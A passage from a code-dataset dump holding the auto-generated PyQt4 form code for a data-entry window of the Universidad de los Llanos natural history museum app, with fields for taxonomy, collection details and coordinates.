Insertar \", None))\n self.BVolver.setText(_translate(\"MenuModificar\", \"Volver\", None))\n self.RBIC.setText(_translate(\"MenuModificar\", \"Ictiológica\", None))\n self.RBHe.setText(_translate(\"MenuModificar\", \"Herpefológica\", None))\n self.RBOr.setText(_translate(\"MenuModificar\", \"Ornitológica\", None))\n self.RBMu.setText(_translate(\"MenuModificar\", \"Mustozoológica\", None))\n self.RBIn.setText(_translate(\"MenuModificar\", \"Invertebrados\", None))\n self.RBTe.setText(_translate(\"MenuModificar\", \"Tejidos\", None))\n\n" }, { "alpha_fraction": 0.642708957195282, "alphanum_fraction": 0.6889668107032776, "avg_line_length": 60.028385162353516, "blob_id": "4ed40b07287476a19f4d4810c3885cf5e53c1d70", "content_id": "880be6127c9446d96a0fb178f6e11930e1b6adcb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27955, "license_type": "no_license", "max_line_length": 187, "num_lines": 458, "path": "/Grafico/ModificarIngresarGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'ModificarIngresar.ui'\n#\n# Created: Sun Nov 30 14:34:29 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_IngresarGeneral(object):\n def setupUi(self, IngresarGeneral):\n IngresarGeneral.setObjectName(_fromUtf8(\"IngresarGeneral\"))\n IngresarGeneral.resize(960, 474)\n IngresarGeneral.setMinimumSize(QtCore.QSize(960, 474))\n IngresarGeneral.setMaximumSize(QtCore.QSize(960, 474))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../../../a.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n IngresarGeneral.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(IngresarGeneral)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_5 = QtGui.QLabel(self.centralwidget)\n self.label_5.setGeometry(QtCore.QRect(0, 0, 961, 41))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(19)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_5.setFont(font)\n self.label_5.setScaledContents(True)\n self.label_5.setAlignment(QtCore.Qt.AlignCenter)\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(10, 40, 281, 371))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Shell Dlg 2\"))\n font.setPointSize(12)\n font.setItalic(True)\n self.groupBox.setFont(font)\n self.groupBox.setFlat(False)\n self.groupBox.setCheckable(False)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.TxtColeccion = QtGui.QLineEdit(self.groupBox)\n self.TxtColeccion.setGeometry(QtCore.QRect(150, 50, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtColeccion.setFont(font)\n self.TxtColeccion.setObjectName(_fromUtf8(\"TxtColeccion\"))\n self.label = QtGui.QLabel(self.groupBox)\n self.label.setGeometry(QtCore.QRect(20, 50, 111, 16))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.TxtClase = QtGui.QLineEdit(self.groupBox)\n self.TxtClase.setGeometry(QtCore.QRect(150, 90, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtClase.setFont(font)\n self.TxtClase.setObjectName(_fromUtf8(\"TxtClase\"))\n self.label_2 = QtGui.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(20, 90, 111, 16))\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.TxtOrden = QtGui.QLineEdit(self.groupBox)\n self.TxtOrden.setGeometry(QtCore.QRect(150, 130, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtOrden.setFont(font)\n self.TxtOrden.setObjectName(_fromUtf8(\"TxtOrden\"))\n self.label_3 = QtGui.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(20, 130, 111, 16))\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n self.label_4 = QtGui.QLabel(self.groupBox)\n self.label_4.setGeometry(QtCore.QRect(20, 250, 111, 16))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.TxtFamilia = QtGui.QLineEdit(self.groupBox)\n self.TxtFamilia.setGeometry(QtCore.QRect(150, 170, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtFamilia.setFont(font)\n self.TxtFamilia.setObjectName(_fromUtf8(\"TxtFamilia\"))\n self.TxtEspecie = QtGui.QLineEdit(self.groupBox)\n self.TxtEspecie.setGeometry(QtCore.QRect(150, 250, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtEspecie.setFont(font)\n self.TxtEspecie.setObjectName(_fromUtf8(\"TxtEspecie\"))\n self.label_6 = QtGui.QLabel(self.groupBox)\n self.label_6.setGeometry(QtCore.QRect(20, 170, 111, 16))\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n self.TxtGenero = QtGui.QLineEdit(self.groupBox)\n self.TxtGenero.setGeometry(QtCore.QRect(150, 210, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtGenero.setFont(font)\n self.TxtGenero.setObjectName(_fromUtf8(\"TxtGenero\"))\n self.label_7 = QtGui.QLabel(self.groupBox)\n self.label_7.setGeometry(QtCore.QRect(20, 210, 111, 16))\n self.label_7.setObjectName(_fromUtf8(\"label_7\"))\n self.TxtSubespecie = QtGui.QLineEdit(self.groupBox)\n self.TxtSubespecie.setGeometry(QtCore.QRect(150, 290, 113, 20))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(12)\n font.setItalic(False)\n self.TxtSubespecie.setFont(font)\n self.TxtSubespecie.setObjectName(_fromUtf8(\"TxtSubespecie\"))\n self.label_8 = QtGui.QLabel(self.groupBox)\n self.label_8.setGeometry(QtCore.QRect(20, 290, 111, 16))\n self.label_8.setObjectName(_fromUtf8(\"label_8\"))\n self.pushButton_2 = QtGui.QPushButton(self.groupBox)\n self.pushButton_2.setGeometry(QtCore.QRect(190, 340, 81, 23))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(11)\n font.setItalic(False)\n self.pushButton_2.setFont(font)\n self.pushButton_2.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(20, 420, 75, 23))\n self.pushButton.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(780, 420, 75, 23))\n self.pushButton_3.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n self.groupBox_2.setGeometry(QtCore.QRect(300, 40, 321, 371))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setItalic(True)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setObjectName(_fromUtf8(\"groupBox_2\"))\n self.pushButton_5 = QtGui.QPushButton(self.groupBox_2)\n self.pushButton_5.setGeometry(QtCore.QRect(230, 340, 81, 23))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(11)\n font.setItalic(False)\n self.pushButton_5.setFont(font)\n self.pushButton_5.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton_5.setObjectName(_fromUtf8(\"pushButton_5\"))\n self.TxtNombre = QtGui.QLineEdit(self.groupBox_2)\n self.TxtNombre.setGeometry(QtCore.QRect(180, 40, 131, 20))\n self.TxtNombre.setObjectName(_fromUtf8(\"TxtNombre\"))\n self.label_9 = QtGui.QLabel(self.groupBox_2)\n self.label_9.setGeometry(QtCore.QRect(20, 40, 71, 16))\n self.label_9.setObjectName(_fromUtf8(\"label_9\"))\n self.label_10 = QtGui.QLabel(self.groupBox_2)\n self.label_10.setGeometry(QtCore.QRect(20, 70, 81, 21))\n self.label_10.setObjectName(_fromUtf8(\"label_10\"))\n self.TxtPeso = QtGui.QLineEdit(self.groupBox_2)\n self.TxtPeso.setGeometry(QtCore.QRect(180, 70, 131, 20))\n self.TxtPeso.setObjectName(_fromUtf8(\"TxtPeso\"))\n self.label_11 = QtGui.QLabel(self.groupBox_2)\n self.label_11.setGeometry(QtCore.QRect(20, 110, 46, 13))\n self.label_11.setObjectName(_fromUtf8(\"label_11\"))\n self.comboBox = QtGui.QComboBox(self.groupBox_2)\n self.comboBox.setGeometry(QtCore.QRect(178, 100, 131, 22))\n self.comboBox.setObjectName(_fromUtf8(\"comboBox\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.comboBox.addItem(_fromUtf8(\"\"))\n self.label_12 = QtGui.QLabel(self.groupBox_2)\n self.label_12.setGeometry(QtCore.QRect(20, 140, 141, 21))\n self.label_12.setObjectName(_fromUtf8(\"label_12\"))\n self.TxtFecha = QtGui.QLineEdit(self.groupBox_2)\n self.TxtFecha.setGeometry(QtCore.QRect(180, 140, 131, 20))\n self.TxtFecha.setWhatsThis(_fromUtf8(\"\"))\n self.TxtFecha.setObjectName(_fromUtf8(\"TxtFecha\"))\n self.TxtEstado = QtGui.QLineEdit(self.groupBox_2)\n self.TxtEstado.setGeometry(QtCore.QRect(180, 170, 131, 20))\n self.TxtEstado.setObjectName(_fromUtf8(\"TxtEstado\"))\n self.label_13 = QtGui.QLabel(self.groupBox_2)\n self.label_13.setGeometry(QtCore.QRect(20, 170, 141, 21))\n self.label_13.setObjectName(_fromUtf8(\"label_13\"))\n self.TxtMetodo = QtGui.QLineEdit(self.groupBox_2)\n self.TxtMetodo.setGeometry(QtCore.QRect(180, 200, 131, 20))\n self.TxtMetodo.setObjectName(_fromUtf8(\"TxtMetodo\"))\n self.label_14 = QtGui.QLabel(self.groupBox_2)\n self.label_14.setGeometry(QtCore.QRect(20, 200, 151, 21))\n self.label_14.setObjectName(_fromUtf8(\"label_14\"))\n self.label_15 = QtGui.QLabel(self.groupBox_2)\n self.label_15.setGeometry(QtCore.QRect(20, 240, 151, 21))\n self.label_15.setObjectName(_fromUtf8(\"label_15\"))\n self.label_16 = QtGui.QLabel(self.groupBox_2)\n self.label_16.setGeometry(QtCore.QRect(20, 290, 151, 21))\n self.label_16.setObjectName(_fromUtf8(\"label_16\"))\n self.TxtHabitat = QtGui.QPlainTextEdit(self.groupBox_2)\n self.TxtHabitat.setGeometry(QtCore.QRect(180, 240, 131, 41))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Serif\"))\n font.setPointSize(9)\n font.setItalic(False)\n self.TxtHabitat.setFont(font)\n self.TxtHabitat.setObjectName(_fromUtf8(\"TxtHabitat\"))\n self.Txtanotaciones = QtGui.QPlainTextEdit(self.groupBox_2)\n self.Txtanotaciones.setGeometry(QtCore.QRect(180, 290, 131, 41))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Serif\"))\n font.setPointSize(9)\n font.setItalic(False)\n self.Txtanotaciones.setFont(font)\n self.Txtanotaciones.setObjectName(_fromUtf8(\"Txtanotaciones\"))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n self.groupBox_3.setGeometry(QtCore.QRect(630, 130, 321, 281))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setItalic(True)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setObjectName(_fromUtf8(\"groupBox_3\"))\n self.label_17 = QtGui.QLabel(self.groupBox_3)\n self.label_17.setGeometry(QtCore.QRect(30, 40, 46, 13))\n self.label_17.setObjectName(_fromUtf8(\"label_17\"))\n self.label_18 = QtGui.QLabel(self.groupBox_3)\n self.label_18.setGeometry(QtCore.QRect(30, 70, 111, 16))\n self.label_18.setObjectName(_fromUtf8(\"label_18\"))\n self.label_19 = QtGui.QLabel(self.groupBox_3)\n self.label_19.setGeometry(QtCore.QRect(30, 100, 101, 16))\n self.label_19.setObjectName(_fromUtf8(\"label_19\"))\n self.label_20 = QtGui.QLabel(self.groupBox_3)\n self.label_20.setGeometry(QtCore.QRect(30, 130, 101, 21))\n self.label_20.setObjectName(_fromUtf8(\"label_20\"))\n self.label_21 = QtGui.QLabel(self.groupBox_3)\n self.label_21.setGeometry(QtCore.QRect(30, 160, 101, 16))\n self.label_21.setObjectName(_fromUtf8(\"label_21\"))\n self.label_22 = QtGui.QLabel(self.groupBox_3)\n self.label_22.setGeometry(QtCore.QRect(30, 220, 101, 16))\n self.label_22.setObjectName(_fromUtf8(\"label_22\"))\n self.pushButton_7 = QtGui.QPushButton(self.groupBox_3)\n self.pushButton_7.setGeometry(QtCore.QRect(230, 250, 81, 23))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"MS Sans Serif\"))\n font.setPointSize(11)\n font.setItalic(False)\n self.pushButton_7.setFont(font)\n self.pushButton_7.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton_7.setObjectName(_fromUtf8(\"pushButton_7\"))\n self.label_23 = QtGui.QLabel(self.groupBox_3)\n self.label_23.setGeometry(QtCore.QRect(30, 190, 121, 16))\n self.label_23.setObjectName(_fromUtf8(\"label_23\"))\n self.TxtVereda = QtGui.QLineEdit(self.groupBox_3)\n self.TxtVereda.setGeometry(QtCore.QRect(190, 220, 113, 20))\n self.TxtVereda.setObjectName(_fromUtf8(\"TxtVereda\"))\n self.TxtAltitud = QtGui.QLineEdit(self.groupBox_3)\n self.TxtAltitud.setGeometry(QtCore.QRect(190, 190, 113, 20))\n self.TxtAltitud.setObjectName(_fromUtf8(\"TxtAltitud\"))\n self.comboBox_2 = QtGui.QComboBox(self.groupBox_3)\n self.comboBox_2.setGeometry(QtCore.QRect(190, 40, 121, 22))\n self.comboBox_2.setEditable(False)\n self.comboBox_2.setObjectName(_fromUtf8(\"comboBox_2\"))\n self.comboBox_3 = QtGui.QComboBox(self.groupBox_3)\n self.comboBox_3.setEnabled(False)\n self.comboBox_3.setGeometry(QtCore.QRect(190, 70, 121, 22))\n self.comboBox_3.setObjectName(_fromUtf8(\"comboBox_3\"))\n self.comboBox_4 = QtGui.QComboBox(self.groupBox_3)\n self.comboBox_4.setEnabled(False)\n self.comboBox_4.setGeometry(QtCore.QRect(190, 100, 121, 22))\n self.comboBox_4.setObjectName(_fromUtf8(\"comboBox_4\"))\n self.TxtLongitudGrados = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLongitudGrados.setGeometry(QtCore.QRect(190, 130, 21, 20))\n self.TxtLongitudGrados.setObjectName(_fromUtf8(\"TxtLongitudGrados\"))\n self.TxtLongitudMinutos = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLongitudMinutos.setGeometry(QtCore.QRect(230, 130, 21, 20))\n self.TxtLongitudMinutos.setObjectName(_fromUtf8(\"TxtLongitudMinutos\"))\n self.TxtLongitudSegundos = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLongitudSegundos.setGeometry(QtCore.QRect(270, 130, 21, 20))\n self.TxtLongitudSegundos.setObjectName(_fromUtf8(\"TxtLongitudSegundos\"))\n self.TxtLatitudMinutos = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLatitudMinutos.setGeometry(QtCore.QRect(230, 160, 21, 20))\n self.TxtLatitudMinutos.setObjectName(_fromUtf8(\"TxtLatitudMinutos\"))\n self.TxtLatitudSegundos = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLatitudSegundos.setGeometry(QtCore.QRect(270, 160, 21, 20))\n self.TxtLatitudSegundos.setObjectName(_fromUtf8(\"TxtLatitudSegundos\"))\n self.TxtLatitudGrados = QtGui.QLineEdit(self.groupBox_3)\n self.TxtLatitudGrados.setGeometry(QtCore.QRect(190, 160, 21, 20))\n self.TxtLatitudGrados.setObjectName(_fromUtf8(\"TxtLatitudGrados\"))\n self.label_24 = QtGui.QLabel(self.groupBox_3)\n self.label_24.setGeometry(QtCore.QRect(250, 130, 16, 16))\n self.label_24.setObjectName(_fromUtf8(\"label_24\"))\n self.label_25 = QtGui.QLabel(self.groupBox_3)\n self.label_25.setGeometry(QtCore.QRect(250, 160, 16, 16))\n self.label_25.setObjectName(_fromUtf8(\"label_25\"))\n self.label_26 = QtGui.QLabel(self.groupBox_3)\n self.label_26.setGeometry(QtCore.QRect(290, 130, 16, 16))\n self.label_26.setObjectName(_fromUtf8(\"label_26\"))\n self.label_27 = QtGui.QLabel(self.groupBox_3)\n self.label_27.setGeometry(QtCore.QRect(290, 160, 16, 16))\n self.label_27.setObjectName(_fromUtf8(\"label_27\"))\n self.label_28 = QtGui.QLabel(self.groupBox_3)\n self.label_28.setGeometry(QtCore.QRect(210, 130, 16, 16))\n self.label_28.setObjectName(_fromUtf8(\"label_28\"))\n self.label_29 = QtGui.QLabel(self.groupBox_3)\n self.label_29.setGeometry(QtCore.QRect(210, 160, 16, 16))\n self.label_29.setObjectName(_fromUtf8(\"label_29\"))\n self.pushButton_4 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_4.setEnabled(False)\n self.pushButton_4.setGeometry(QtCore.QRect(870, 420, 75, 23))\n self.pushButton_4.setCursor(QtGui.QCursor(QtCore.Qt.OpenHandCursor))\n self.pushButton_4.setCheckable(False)\n self.pushButton_4.setChecked(False)\n self.pushButton_4.setObjectName(_fromUtf8(\"pushButton_4\"))\n self.groupBox_4 = QtGui.QGroupBox(self.centralwidget)\n self.groupBox_4.setGeometry(QtCore.QRect(630, 39, 321, 91))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setItalic(True)\n self.groupBox_4.setFont(font)\n self.groupBox_4.setObjectName(_fromUtf8(\"groupBox_4\"))\n self.TxtRutaImagen = QtGui.QLineEdit(self.groupBox_4)\n self.TxtRutaImagen.setGeometry(QtCore.QRect(170, 40, 141, 20))\n self.TxtRutaImagen.setObjectName(_fromUtf8(\"TxtRutaImagen\"))\n self.label_30 = QtGui.QLabel(self.groupBox_4)\n self.label_30.setGeometry(QtCore.QRect(20, 40, 141, 21))\n self.label_30.setObjectName(_fromUtf8(\"label_30\"))\n IngresarGeneral.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(IngresarGeneral)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n IngresarGeneral.setStatusBar(self.statusbar)\n\n self.retranslateUi(IngresarGeneral)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtSubespecie.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtEspecie.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtGenero.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtFamilia.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtOrden.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtClase.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtColeccion.clear)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), IngresarGeneral.Guardar)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), IngresarGeneral.Volver)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.Txtanotaciones.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtHabitat.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtMetodo.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtEstado.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtFecha.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPeso.clear)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtNombre.clear)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked(bool)\")), self.pushButton_4.setDisabled)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtVereda.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtAltitud.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLatitudGrados.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLatitudMinutos.clear)\n QtCore.QObject.connect(self.groupBox_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLatitudSegundos.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLongitudSegundos.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLongitudMinutos.clear)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtLongitudGrados.clear)\n QtCore.QObject.connect(self.pushButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), IngresarGeneral.Continuar)\n QtCore.QObject.connect(self.comboBox_3, QtCore.SIGNAL(_fromUtf8(\"activated(QString)\")), IngresarGeneral.LlenarMunicipio)\n QtCore.QObject.connect(self.comboBox_2, QtCore.SIGNAL(_fromUtf8(\"activated(QString)\")), IngresarGeneral.LlenarDpto)\n QtCore.QObject.connect(self.comboBox_4, QtCore.SIGNAL(_fromUtf8(\"activated(QString)\")), IngresarGeneral.Municipio)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButton_7.click)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButton_5.click)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButton_2.click)\n QtCore.QMetaObject.connectSlotsByName(IngresarGeneral)\n IngresarGeneral.setTabOrder(self.TxtColeccion, self.TxtClase)\n IngresarGeneral.setTabOrder(self.TxtClase, self.TxtOrden)\n IngresarGeneral.setTabOrder(self.TxtOrden, self.TxtFamilia)\n IngresarGeneral.setTabOrder(self.TxtFamilia, self.TxtGenero)\n IngresarGeneral.setTabOrder(self.TxtGenero, self.TxtEspecie)\n IngresarGeneral.setTabOrder(self.TxtEspecie, self.TxtSubespecie)\n IngresarGeneral.setTabOrder(self.TxtSubespecie, self.pushButton_2)\n IngresarGeneral.setTabOrder(self.pushButton_2, self.TxtNombre)\n IngresarGeneral.setTabOrder(self.TxtNombre, self.TxtPeso)\n IngresarGeneral.setTabOrder(self.TxtPeso, self.comboBox)\n IngresarGeneral.setTabOrder(self.comboBox, self.TxtFecha)\n IngresarGeneral.setTabOrder(self.TxtFecha, self.TxtEstado)\n IngresarGeneral.setTabOrder(self.TxtEstado, self.TxtMetodo)\n IngresarGeneral.setTabOrder(self.TxtMetodo, self.TxtHabitat)\n IngresarGeneral.setTabOrder(self.TxtHabitat, self.Txtanotaciones)\n IngresarGeneral.setTabOrder(self.Txtanotaciones, self.pushButton_5)\n IngresarGeneral.setTabOrder(self.pushButton_5, self.TxtRutaImagen)\n IngresarGeneral.setTabOrder(self.TxtRutaImagen, self.comboBox_2)\n IngresarGeneral.setTabOrder(self.comboBox_2, self.comboBox_3)\n IngresarGeneral.setTabOrder(self.comboBox_3, self.comboBox_4)\n IngresarGeneral.setTabOrder(self.comboBox_4, self.TxtLongitudGrados)\n IngresarGeneral.setTabOrder(self.TxtLongitudGrados, self.TxtLongitudMinutos)\n IngresarGeneral.setTabOrder(self.TxtLongitudMinutos, self.TxtLongitudSegundos)\n IngresarGeneral.setTabOrder(self.TxtLongitudSegundos, self.TxtLatitudGrados)\n IngresarGeneral.setTabOrder(self.TxtLatitudGrados, self.TxtLatitudMinutos)\n IngresarGeneral.setTabOrder(self.TxtLatitudMinutos, self.TxtLatitudSegundos)\n IngresarGeneral.setTabOrder(self.TxtLatitudSegundos, self.TxtAltitud)\n IngresarGeneral.setTabOrder(self.TxtAltitud, self.TxtVereda)\n IngresarGeneral.setTabOrder(self.TxtVereda, self.pushButton_7)\n IngresarGeneral.setTabOrder(self.pushButton_7, self.pushButton_3)\n IngresarGeneral.setTabOrder(self.pushButton_3, self.pushButton_4)\n IngresarGeneral.setTabOrder(self.pushButton_4, self.pushButton)\n\n def retranslateUi(self, IngresarGeneral):\n IngresarGeneral.setWindowTitle(_translate(\"IngresarGeneral\", \"Modificar - Ingresar\", None))\n self.label_5.setText(_translate(\"IngresarGeneral\", \"<html><head/><body><p><span style=\\\" color:#ff0000;\\\">Museo Natural Universidad de los Llanos</span></p></body></html>\", None))\n self.groupBox.setTitle(_translate(\"IngresarGeneral\", \"Generalidades\", None))\n self.label.setText(_translate(\"IngresarGeneral\", \"Colección\", None))\n self.label_2.setText(_translate(\"IngresarGeneral\", \"Clase\", None))\n self.label_3.setText(_translate(\"IngresarGeneral\", \"Orden\", None))\n self.label_4.setText(_translate(\"IngresarGeneral\", \"Especie\", None))\n self.label_6.setText(_translate(\"IngresarGeneral\", \"Familia\", None))\n self.label_7.setText(_translate(\"IngresarGeneral\", \"Genero\", None))\n self.label_8.setText(_translate(\"IngresarGeneral\", \"Subespecie\", None))\n self.pushButton_2.setText(_translate(\"IngresarGeneral\", \"Limpiar\", None))\n self.pushButton.setText(_translate(\"IngresarGeneral\", \"Volver\", None))\n self.pushButton_3.setText(_translate(\"IngresarGeneral\", \"Guardar\", None))\n self.groupBox_2.setTitle(_translate(\"IngresarGeneral\", \"Generalidades\", None))\n self.pushButton_5.setText(_translate(\"IngresarGeneral\", \"Limpiar\", None))\n self.label_9.setText(_translate(\"IngresarGeneral\", \"Nombre\", None))\n self.label_10.setText(_translate(\"IngresarGeneral\", \"Peso (g)\", None))\n self.label_11.setText(_translate(\"IngresarGeneral\", \"Sexo\", None))\n self.comboBox.setItemText(0, _translate(\"IngresarGeneral\", \"Indeterminado\", None))\n self.comboBox.setItemText(1, _translate(\"IngresarGeneral\", \"Macho\", None))\n self.comboBox.setItemText(2, _translate(\"IngresarGeneral\", \"Hembra\", None))\n self.label_12.setText(_translate(\"IngresarGeneral\", \"Fecha de coleccion\", None))\n self.label_13.setText(_translate(\"IngresarGeneral\", \"Estado actual\", None))\n self.label_14.setText(_translate(\"IngresarGeneral\", \"Metodo de coleccion\", None))\n self.label_15.setText(_translate(\"IngresarGeneral\", \"Habitat\", None))\n self.label_16.setText(_translate(\"IngresarGeneral\", \"anotaciones\", None))\n self.groupBox_3.setTitle(_translate(\"IngresarGeneral\", \"Localizacion\", None))\n self.label_17.setText(_translate(\"IngresarGeneral\", \"Pais\", None))\n self.label_18.setText(_translate(\"IngresarGeneral\", \"Departamento\", None))\n self.label_19.setText(_translate(\"IngresarGeneral\", \"Municipio\", None))\n self.label_20.setText(_translate(\"IngresarGeneral\", \"Longitud\", None))\n self.label_21.setText(_translate(\"IngresarGeneral\", \"Latitud\", None))\n self.label_22.setText(_translate(\"IngresarGeneral\", \"Vereda\", None))\n self.pushButton_7.setText(_translate(\"IngresarGeneral\", \"Limpiar\", None))\n self.label_23.setText(_translate(\"IngresarGeneral\", \"Altitud (Metros)\", None))\n self.label_24.setText(_translate(\"IngresarGeneral\", \"\\'\", None))\n self.label_25.setText(_translate(\"IngresarGeneral\", \"\\'\", None))\n self.label_26.setText(_translate(\"IngresarGeneral\", \"\\'\\'\", None))\n self.label_27.setText(_translate(\"IngresarGeneral\", \"\\'\\'\", None))\n self.label_28.setText(_translate(\"IngresarGeneral\", \"°\", None))\n 